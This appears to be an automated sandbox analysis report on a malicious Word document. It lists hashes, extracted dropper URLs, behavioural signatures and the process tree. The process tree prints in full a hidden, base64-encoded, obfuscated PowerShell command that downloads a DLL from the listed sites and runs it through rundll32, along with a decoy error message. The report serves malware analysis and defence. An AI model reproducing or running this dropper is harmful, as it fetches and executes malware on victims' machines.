9c79e7b9f68462cc7dc5a5e149b64d277c92a2edb2c6f85eac8c78286172c209

General

Target

Liste-70497 462123797.doc
Size

158KB
MD5

e6fa06f6b8a4fc18b58ab391ef19cba9
SHA1

79e39537c6deeb162756e2dfe7a3f77c0f96d1e2
SHA256

9c79e7b9f68462cc7dc5a5e149b64d277c92a2edb2c6f85eac8c78286172c209
SHA512

759bc77a2595af11f910e4addb9d06492110a1af062c2dc98648e929a79fe0eccf911418026697d67bfe0428c5b8a965a98d3d1247d80d2ac2f40b695e185cd7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://smkbudiagung.com/wp-content/VoPg04/

exe.dropper

https://ats-tx.com/old/f1X/

exe.dropper

http://avanttipisos.com.br/catalogo-virtual/U/

exe.dropper

http://mpeakecreations.co.za/cgi-bin/vVk1rw/

exe.dropper

http://adres-ug.ru/wp-admin/IItD/

exe.dropper

https://theraven.pk/overwolf-r6-vdace/UH4fL/

exe.dropper

http://bhar.com.br/elementos/MQfB/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2992 3408 cmd.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

21 196 powershell.exe
24 196 powershell.exe
31 2296 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

2332 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Vymkr\cvnu.ggl rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2992	3408	cmd.exe

flow	pid	process
21	196	powershell.exe
24	196	powershell.exe
31	2296	rundll32.exe

pid	process
2332	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Vymkr\cvnu.ggl	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3324 WINWORD.EXE
3324 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exerundll32.exe

pid process

196 powershell.exe
196 powershell.exe
196 powershell.exe
2296 rundll32.exe
2296 rundll32.exe
2296 rundll32.exe
2296 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 196 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3324 WINWORD.EXE
3324 WINWORD.EXE
3324 WINWORD.EXE
3324 WINWORD.EXE
3324 WINWORD.EXE
3324 WINWORD.EXE
3324 WINWORD.EXE

pid	process
3324	WINWORD.EXE
3324	WINWORD.EXE

pid	process
196	powershell.exe
196	powershell.exe
196	powershell.exe
2296	rundll32.exe
2296	rundll32.exe
2296	rundll32.exe
2296	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	196	powershell.exe

pid	process
3324	WINWORD.EXE
3324	WINWORD.EXE
3324	WINWORD.EXE
3324	WINWORD.EXE
3324	WINWORD.EXE
3324	WINWORD.EXE
3324	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2992 wrote to memory of 2728	2992	cmd.exe	msg.exe
PID 2992 wrote to memory of 2728	2992	cmd.exe	msg.exe
PID 2992 wrote to memory of 196	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 196	2992	cmd.exe	powershell.exe
PID 196 wrote to memory of 3800	196	powershell.exe	rundll32.exe
PID 196 wrote to memory of 3800	196	powershell.exe	rundll32.exe
PID 3800 wrote to memory of 2332	3800	rundll32.exe	rundll32.exe
PID 3800 wrote to memory of 2332	3800	rundll32.exe	rundll32.exe
PID 3800 wrote to memory of 2332	3800	rundll32.exe	rundll32.exe
PID 2332 wrote to memory of 2296	2332	rundll32.exe	rundll32.exe
PID 2332 wrote to memory of 2296	2332	rundll32.exe	rundll32.exe
PID 2332 wrote to memory of 2296	2332	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Liste-70497 462123797.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3324

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:3800

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2332

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vymkr\cvnu.ggl",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2296

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
16ae52974624b6f80f7cfd5a28ba3701

SHA1
f83581eb4d739bc469bf1f229718136c0273d965

SHA256
7fe9e131fb6d779213d606bda582b98d0e5d10cf5e66e1517a0eb82411df8d1c

SHA512
df6aa2d06e8991791d885d02f3a17a8b690f56b8797737118877c313d11fcc170f8628e8bd30829a637ac16ac6486ba75ca8460d2030cd76538f731c729e637c

Download Submit
\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll
MD5
16ae52974624b6f80f7cfd5a28ba3701

SHA1
f83581eb4d739bc469bf1f229718136c0273d965

SHA256
7fe9e131fb6d779213d606bda582b98d0e5d10cf5e66e1517a0eb82411df8d1c

SHA512
df6aa2d06e8991791d885d02f3a17a8b690f56b8797737118877c313d11fcc170f8628e8bd30829a637ac16ac6486ba75ca8460d2030cd76538f731c729e637c

Download Submit
memory/196-4-0x0000000000000000-mapping.dmp

Download
memory/196-5-0x00007FFB7F6F0000-0x00007FFB800DC000-memory.dmp

Filesize
9.9MB

Download
memory/196-6-0x000002AE3E620000-0x000002AE3E621000-memory.dmp

Filesize
4KB

Download
memory/196-7-0x000002AE3E8F0000-0x000002AE3E8F1000-memory.dmp

Filesize
4KB

Download
memory/2296-12-0x0000000000000000-mapping.dmp

Download
memory/2332-10-0x0000000000000000-mapping.dmp

Download
memory/2728-3-0x0000000000000000-mapping.dmp

Download
memory/3324-2-0x00007FFB85F20000-0x00007FFB86557000-memory.dmp

Filesize
6.2MB

Download
memory/3800-8-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads